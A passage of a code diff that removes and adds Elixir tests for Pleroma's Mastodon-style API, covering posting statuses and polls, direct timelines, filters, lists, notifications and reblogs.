- Enum.each(["public", "private", "unlisted"], fn visibility ->
- conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" => "@#{user.nickname} hey",
- "in_reply_to_id" => replied_to.id,
- "visibility" => visibility
- })
-
- assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"}
- end)
- end
-
- test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
- conn =
- conn
- |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})
-
- assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
- assert Activity.get_by_id(id)
- end
-
- test "posting a sensitive status", %{conn: conn} do
- conn =
- conn
- |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})
-
- assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200)
- assert Activity.get_by_id(id)
- end
-
- test "posting a fake status", %{conn: conn} do
- real_conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" =>
- "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it"
- })
-
- real_status = json_response(real_conn, 200)
-
- assert real_status
- assert Object.get_by_ap_id(real_status["uri"])
-
- real_status =
- real_status
- |> Map.put("id", nil)
- |> Map.put("url", nil)
- |> Map.put("uri", nil)
- |> Map.put("created_at", nil)
- |> Kernel.put_in(["pleroma", "conversation_id"], nil)
-
- fake_conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" =>
- "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it",
- "preview" => true
- })
-
- fake_status = json_response(fake_conn, 200)
-
- assert fake_status
- refute Object.get_by_ap_id(fake_status["uri"])
-
- fake_status =
- fake_status
- |> Map.put("id", nil)
- |> Map.put("url", nil)
- |> Map.put("uri", nil)
- |> Map.put("created_at", nil)
- |> Kernel.put_in(["pleroma", "conversation_id"], nil)
-
- assert real_status == fake_status
- end
-
- test "posting a status with OGP link preview", %{conn: conn} do
- Pleroma.Config.put([:rich_media, :enabled], true)
-
- conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" => "https://example.com/ogp"
- })
-
- assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200)
- assert Activity.get_by_id(id)
- Pleroma.Config.put([:rich_media, :enabled], false)
- end
-
- test "posting a direct status", %{conn: conn} do
- user2 = insert(:user)
- content = "direct cofe @#{user2.nickname}"
-
- conn =
- conn
- |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})
-
- assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200)
- assert activity = Activity.get_by_id(id)
- assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id]
- assert activity.data["to"] == [user2.ap_id]
- assert activity.data["cc"] == []
- end
- end
-
- describe "posting polls" do
- test "posting a poll", %{conn: conn} do
- user = insert(:user)
- time = NaiveDateTime.utc_now()
-
- conn =
+ res =
conn
|> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "Who is the #bestgrill?",
- "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420}
- })
-
- response = json_response(conn, 200)
-
- assert Enum.all?(response["poll"]["options"], fn %{"title" => title} ->
- title in ["Rei", "Asuka", "Misato"]
- end)
-
- assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430
- refute response["poll"]["expred"]
- end
-
- test "option limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Pleroma.Config.get([:instance, :poll_limits, :max_options])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "desu~",
- "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1}
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Poll can't contain more than #{limit} options"
- end
-
- test "option character limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Pleroma.Config.get([:instance, :poll_limits, :max_option_chars])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "...",
- "poll" => %{
- "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)],
- "expires_in" => 1
- }
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Poll options cannot be longer than #{limit} characters each"
- end
-
- test "minimal date limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Pleroma.Config.get([:instance, :poll_limits, :min_expiration])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "imagine arbitrary limits",
- "poll" => %{
- "options" => ["this post was made by pleroma gang"],
- "expires_in" => limit - 1
- }
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Expiration date is too soon"
- end
-
- test "maximum date limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Pleroma.Config.get([:instance, :poll_limits, :max_expiration])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "imagine arbitrary limits",
- "poll" => %{
- "options" => ["this post was made by pleroma gang"],
- "expires_in" => limit + 1
- }
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Expiration date is too far in the future"
- end
- end
-
- test "direct timeline", %{conn: conn} do
- user_one = insert(:user)
- user_two = insert(:user)
-
- {:ok, user_two} = User.follow(user_two, user_one)
-
- {:ok, direct} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, _follower_only} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "private"
- })
-
- # Only direct should be visible here
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/direct")
-
- [status] = json_response(res_conn, 200)
-
- assert %{"visibility" => "direct"} = status
- assert status["url"] != direct.data["id"]
-
- # User should be able to see his own direct message
- res_conn =
- build_conn()
- |> assign(:user, user_one)
- |> get("api/v1/timelines/direct")
-
- [status] = json_response(res_conn, 200)
-
- assert %{"visibility" => "direct"} = status
-
- # Both should be visible here
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/home")
-
- [_s1, _s2] = json_response(res_conn, 200)
-
- # Test pagination
- Enum.each(1..20, fn _ ->
- {:ok, _} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "direct"
- })
- end)
-
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/direct")
-
- statuses = json_response(res_conn, 200)
- assert length(statuses) == 20
-
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]})
-
- [status] = json_response(res_conn, 200)
-
- assert status["url"] != direct.data["id"]
- end
-
- test "Conversations", %{conn: conn} do
- user_one = insert(:user)
- user_two = insert(:user)
- user_three = insert(:user)
-
- {:ok, user_two} = User.follow(user_two, user_one)
-
- {:ok, direct} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, _follower_only} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "private"
- })
-
- res_conn =
- conn
- |> assign(:user, user_one)
- |> get("/api/v1/conversations")
-
- assert response = json_response(res_conn, 200)
-
- assert [
- %{
- "id" => res_id,
- "accounts" => res_accounts,
- "last_status" => res_last_status,
- "unread" => unread
- }
- ] = response
-
- account_ids = Enum.map(res_accounts, & &1["id"])
- assert length(res_accounts) == 2
- assert user_two.id in account_ids
- assert user_three.id in account_ids
- assert is_binary(res_id)
- assert unread == true
- assert res_last_status["id"] == direct.id
-
- # Apparently undocumented API endpoint
- res_conn =
- conn
- |> assign(:user, user_one)
- |> post("/api/v1/conversations/#{res_id}/read")
-
- assert response = json_response(res_conn, 200)
- assert length(response["accounts"]) == 2
- assert response["last_status"]["id"] == direct.id
- assert response["unread"] == false
-
- # (vanilla) Mastodon frontend behaviour
- res_conn =
- conn
- |> assign(:user, user_one)
- |> get("/api/v1/statuses/#{res_last_status["id"]}/context")
-
- assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200)
- end
-
- test "doesn't include DMs from blocked users", %{conn: conn} do
- blocker = insert(:user)
- blocked = insert(:user)
- user = insert(:user)
- {:ok, blocker} = User.block(blocker, blocked)
-
- {:ok, _blocked_direct} =
- CommonAPI.post(blocked, %{
- "status" => "Hi @#{blocker.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, direct} =
- CommonAPI.post(user, %{
- "status" => "Hi @#{blocker.nickname}!",
- "visibility" => "direct"
- })
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("api/v1/timelines/direct")
-
- [status] = json_response(res_conn, 200)
- assert status["id"] == direct.id
- end
-
- test "verify_credentials", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/verify_credentials")
-
- response = json_response(conn, 200)
-
- assert %{"id" => id, "source" => %{"privacy" => "public"}} = response
- assert response["pleroma"]["chat_token"]
- assert id == to_string(user.id)
- end
-
- test "verify_credentials default scope unlisted", %{conn: conn} do
- user = insert(:user, %{info: %User.Info{default_scope: "unlisted"}})
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/accounts/verify_credentials")
-
- assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
- assert id == to_string(user.id)
- end
-
- test "apps/verify_credentials", %{conn: conn} do
- token = insert(:oauth_token)
-
- conn =
- conn
- |> assign(:user, token.user)
- |> assign(:token, token)
- |> get("/api/v1/apps/verify_credentials")
-
- app = Repo.preload(token, :app).app
-
- expected = %{
- "name" => app.client_name,
- "website" => app.website,
- "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key)
- }
-
- assert expected == json_response(conn, 200)
- end
-
- test "user avatar can be set", %{conn: conn} do
- user = insert(:user)
- avatar_image = File.read!("test/fixtures/avatar_data_uri")
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/pleroma/accounts/update_avatar", %{img: avatar_image})
-
- user = refresh_record(user)
-
- assert %{
- "name" => _,
- "type" => _,
- "url" => [
- %{
- "href" => _,
- "mediaType" => _,
- "type" => _
- }
- ]
- } = user.avatar
-
- assert %{"url" => _} = json_response(conn, 200)
- end
-
- test "user avatar can be reset", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/pleroma/accounts/update_avatar", %{img: ""})
-
- user = User.get_cached_by_id(user.id)
-
- assert user.avatar == nil
-
- assert %{"url" => nil} = json_response(conn, 200)
- end
-
- test "can set profile banner", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/pleroma/accounts/update_banner", %{"banner" => @image})
-
- user = refresh_record(user)
- assert user.info.banner["type"] == "Image"
-
- assert %{"url" => _} = json_response(conn, 200)
- end
-
- test "can reset profile banner", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/pleroma/accounts/update_banner", %{"banner" => ""})
-
- user = refresh_record(user)
- assert user.info.banner == %{}
-
- assert %{"url" => nil} = json_response(conn, 200)
- end
-
- test "background image can be set", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/pleroma/accounts/update_background", %{"img" => @image})
-
- user = refresh_record(user)
- assert user.info.background["type"] == "Image"
- assert %{"url" => _} = json_response(conn, 200)
- end
-
- test "background image can be reset", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/pleroma/accounts/update_background", %{"img" => ""})
-
- user = refresh_record(user)
- assert user.info.background == %{}
- assert %{"url" => nil} = json_response(conn, 200)
- end
-
- test "creates an oauth app", %{conn: conn} do
- user = insert(:user)
- app_attrs = build(:oauth_app)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/apps", %{
- client_name: app_attrs.client_name,
- redirect_uris: app_attrs.redirect_uris
- })
-
- [app] = Repo.all(App)
-
- expected = %{
- "name" => app.client_name,
- "website" => app.website,
- "client_id" => app.client_id,
- "client_secret" => app.client_secret,
- "id" => app.id |> to_string(),
- "redirect_uri" => app.redirect_uris,
- "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key)
- }
-
- assert expected == json_response(conn, 200)
- end
-
- test "get a status", %{conn: conn} do
- activity = insert(:note_activity)
-
- conn =
- conn
- |> get("/api/v1/statuses/#{activity.id}")
-
- assert %{"id" => id} = json_response(conn, 200)
- assert id == to_string(activity.id)
- end
-
- describe "deleting a status" do
- test "when you created it", %{conn: conn} do
- activity = insert(:note_activity)
- author = User.get_cached_by_ap_id(activity.data["actor"])
-
- conn =
- conn
- |> assign(:user, author)
- |> delete("/api/v1/statuses/#{activity.id}")
-
- assert %{} = json_response(conn, 200)
-
- refute Activity.get_by_id(activity.id)
- end
-
- test "when you didn't create it", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/statuses/#{activity.id}")
-
- assert %{"error" => _} = json_response(conn, 403)
-
- assert Activity.get_by_id(activity.id) == activity
- end
-
- test "when you're an admin or moderator", %{conn: conn} do
- activity1 = insert(:note_activity)
- activity2 = insert(:note_activity)
- admin = insert(:user, info: %{is_admin: true})
- moderator = insert(:user, info: %{is_moderator: true})
-
- res_conn =
- conn
- |> assign(:user, admin)
- |> delete("/api/v1/statuses/#{activity1.id}")
-
- assert %{} = json_response(res_conn, 200)
-
- res_conn =
- conn
- |> assign(:user, moderator)
- |> delete("/api/v1/statuses/#{activity2.id}")
-
- assert %{} = json_response(res_conn, 200)
-
- refute Activity.get_by_id(activity1.id)
- refute Activity.get_by_id(activity2.id)
- end
- end
-
- describe "filters" do
- test "creating a filter", %{conn: conn} do
- user = insert(:user)
-
- filter = %Pleroma.Filter{
- phrase: "knights",
- context: ["home"]
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})
-
- assert response = json_response(conn, 200)
- assert response["phrase"] == filter.phrase
- assert response["context"] == filter.context
- assert response["irreversible"] == false
- assert response["id"] != nil
- assert response["id"] != ""
- end
-
- test "fetching a list of filters", %{conn: conn} do
- user = insert(:user)
-
- query_one = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 1,
- phrase: "knights",
- context: ["home"]
- }
-
- query_two = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "who",
- context: ["home"]
- }
-
- {:ok, filter_one} = Pleroma.Filter.create(query_one)
- {:ok, filter_two} = Pleroma.Filter.create(query_two)
-
- response =
- conn
- |> assign(:user, user)
- |> get("/api/v1/filters")
+ |> get("/api/v1/accounts/#{user.id}/identity_proofs")
|> json_response(200)
- assert response ==
- render_json(
- FilterView,
- "filters.json",
- filters: [filter_two, filter_one]
- )
- end
-
- test "get a filter", %{conn: conn} do
- user = insert(:user)
-
- query = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "knight",
- context: ["home"]
- }
-
- {:ok, filter} = Pleroma.Filter.create(query)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/filters/#{filter.filter_id}")
-
- assert _response = json_response(conn, 200)
- end
-
- test "update a filter", %{conn: conn} do
- user = insert(:user)
-
- query = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "knight",
- context: ["home"]
- }
-
- {:ok, _filter} = Pleroma.Filter.create(query)
-
- new = %Pleroma.Filter{
- phrase: "nii",
- context: ["home"]
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/filters/#{query.filter_id}", %{
- phrase: new.phrase,
- context: new.context
- })
-
- assert response = json_response(conn, 200)
- assert response["phrase"] == new.phrase
- assert response["context"] == new.context
- end
-
- test "delete a filter", %{conn: conn} do
- user = insert(:user)
-
- query = %Pleroma.Filter{
- user_id: user.id,
- filter_id: 2,
- phrase: "knight",
- context: ["home"]
- }
-
- {:ok, filter} = Pleroma.Filter.create(query)
-
- conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/filters/#{filter.filter_id}")
-
- assert response = json_response(conn, 200)
- assert response == %{}
- end
- end
-
- describe "lists" do
- test "creating a list", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/lists", %{"title" => "cuties"})
-
- assert %{"title" => title} = json_response(conn, 200)
- assert title == "cuties"
- end
-
- test "adding users to a list", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, list} = Pleroma.List.create("name", user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
-
- assert %{} == json_response(conn, 200)
- %Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
- assert following == [other_user.follower_address]
- end
-
- test "removing users from a list", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- third_user = insert(:user)
- {:ok, list} = Pleroma.List.create("name", user)
- {:ok, list} = Pleroma.List.follow(list, other_user)
- {:ok, list} = Pleroma.List.follow(list, third_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
-
- assert %{} == json_response(conn, 200)
- %Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
- assert following == [third_user.follower_address]
- end
-
- test "listing users in a list", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, list} = Pleroma.List.create("name", user)
- {:ok, list} = Pleroma.List.follow(list, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
-
- assert [%{"id" => id}] = json_response(conn, 200)
- assert id == to_string(other_user.id)
- end
-
- test "retrieving a list", %{conn: conn} do
- user = insert(:user)
- {:ok, list} = Pleroma.List.create("name", user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/lists/#{list.id}")
-
- assert %{"id" => id} = json_response(conn, 200)
- assert id == to_string(list.id)
- end
-
- test "renaming a list", %{conn: conn} do
- user = insert(:user)
- {:ok, list} = Pleroma.List.create("name", user)
-
- conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/lists/#{list.id}", %{"title" => "newname"})
-
- assert %{"title" => name} = json_response(conn, 200)
- assert name == "newname"
- end
-
- test "deleting a list", %{conn: conn} do
- user = insert(:user)
- {:ok, list} = Pleroma.List.create("name", user)
-
- conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/lists/#{list.id}")
-
- assert %{} = json_response(conn, 200)
- assert is_nil(Repo.get(Pleroma.List, list.id))
- end
-
- test "list timeline", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."})
- {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
- {:ok, list} = Pleroma.List.create("name", user)
- {:ok, list} = Pleroma.List.follow(list, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/timelines/list/#{list.id}")
-
- assert [%{"id" => id}] = json_response(conn, 200)
-
- assert id == to_string(activity_two.id)
- end
-
- test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
- {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
-
- {:ok, _activity_two} =
- CommonAPI.post(other_user, %{
- "status" => "Marisa is cute.",
- "visibility" => "private"
- })
-
- {:ok, list} = Pleroma.List.create("name", user)
- {:ok, list} = Pleroma.List.follow(list, other_user)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/timelines/list/#{list.id}")
-
- assert [%{"id" => id}] = json_response(conn, 200)
-
- assert id == to_string(activity_one.id)
- end
- end
-
- describe "notifications" do
- test "list of notifications", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [_notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/notifications")
-
- expected_response =
- "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
- user.ap_id
- }\">@<span>#{user.nickname}</span></a></span>"
-
- assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
- assert response == expected_response
- end
-
- test "getting a single notification", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/notifications/#{notification.id}")
-
- expected_response =
- "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
- user.ap_id
- }\">@<span>#{user.nickname}</span></a></span>"
-
- assert %{"status" => %{"content" => response}} = json_response(conn, 200)
- assert response == expected_response
- end
-
- test "dismissing a single notification", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
-
- assert %{} = json_response(conn, 200)
- end
-
- test "clearing all notifications", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- {:ok, [_notification]} = Notification.create_notifications(activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/notifications/clear")
-
- assert %{} = json_response(conn, 200)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/notifications")
-
- assert all = json_response(conn, 200)
- assert all == []
- end
-
- test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
-
- notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
- notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
- notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
- notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- # min_id
- conn_res =
- conn
- |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
-
- # since_id
- conn_res =
- conn
- |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
-
- # max_id
- conn_res =
- conn
- |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
- end
-
- test "filters notifications using exclude_types", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
- {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
- {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
- {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
- {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
-
- mention_notification_id =
- Repo.get_by(Notification, activity_id: mention_activity.id).id |> to_string()
-
- favorite_notification_id =
- Repo.get_by(Notification, activity_id: favorite_activity.id).id |> to_string()
-
- reblog_notification_id =
- Repo.get_by(Notification, activity_id: reblog_activity.id).id |> to_string()
-
- follow_notification_id =
- Repo.get_by(Notification, activity_id: follow_activity.id).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
-
- assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
-
- assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
-
- assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
-
- conn_res =
- get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
-
- assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
- end
-
- test "destroy multiple", %{conn: conn} do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
- {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
- {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
-
- notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
- notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
- notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
- notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- conn_res =
- conn
- |> get("/api/v1/notifications")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
-
- conn2 =
- conn
- |> assign(:user, other_user)
-
- conn_res =
- conn2
- |> get("/api/v1/notifications")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
-
- conn_destroy =
- conn
- |> delete("/api/v1/notifications/destroy_multiple", %{
- "ids" => [notification1_id, notification2_id]
- })
-
- assert json_response(conn_destroy, 200) == %{}
-
- conn_res =
- conn2
- |> get("/api/v1/notifications")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
+ assert res == []
end
- test "doesn't see notifications after muting user with notifications", %{conn: conn} do
- user = insert(:user)
- user2 = insert(:user)
-
- {:ok, _, _, _} = CommonAPI.follow(user, user2)
- {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
-
- conn = assign(conn, :user, user)
-
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
-
- {:ok, user} = User.mute(user, user2)
-
- conn = assign(build_conn(), :user, user)
- conn = get(conn, "/api/v1/notifications")
-
- assert json_response(conn, 200) == []
- end
-
- test "see notifications after muting user without notifications", %{conn: conn} do
- user = insert(:user)
- user2 = insert(:user)
-
- {:ok, _, _, _} = CommonAPI.follow(user, user2)
- {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
-
- conn = assign(conn, :user, user)
-
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
-
- {:ok, user} = User.mute(user, user2, false)
-
- conn = assign(build_conn(), :user, user)
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
- end
-
- test "see notifications after muting user with notifications and with_muted parameter", %{
- conn: conn
- } do
- user = insert(:user)
- user2 = insert(:user)
-
- {:ok, _, _, _} = CommonAPI.follow(user, user2)
- {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
-
- conn = assign(conn, :user, user)
-
- conn = get(conn, "/api/v1/notifications")
-
- assert length(json_response(conn, 200)) == 1
-
- {:ok, user} = User.mute(user, user2)
-
- conn = assign(build_conn(), :user, user)
- conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
+ test "GET /api/v1/endorsements" do
+ %{conn: conn} = oauth_access(["read:accounts"])
- assert length(json_response(conn, 200)) == 1
- end
- end
-
- describe "reblogging" do
- test "reblogs and returns the reblogged status", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/reblog")
-
- assert %{
- "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
- "reblogged" => true
- } = json_response(conn, 200)
-
- assert to_string(activity.id) == id
- end
-
- test "reblogged status for another user", %{conn: conn} do
- activity = insert(:note_activity)
- user1 = insert(:user)
- user2 = insert(:user)
- user3 = insert(:user)
- CommonAPI.favorite(activity.id, user2)
- {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id)
- {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1)
- {:ok, _, _object} = CommonAPI.repeat(activity.id, user2)
-
- conn_res =
- conn
- |> assign(:user, user3)
- |> get("/api/v1/statuses/#{reblog_activity1.id}")
-
- assert %{
- "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2},
- "reblogged" => false,
- "favourited" => false,
- "bookmarked" => false
- } = json_response(conn_res, 200)
-
- conn_res =
- conn
- |> assign(:user, user2)
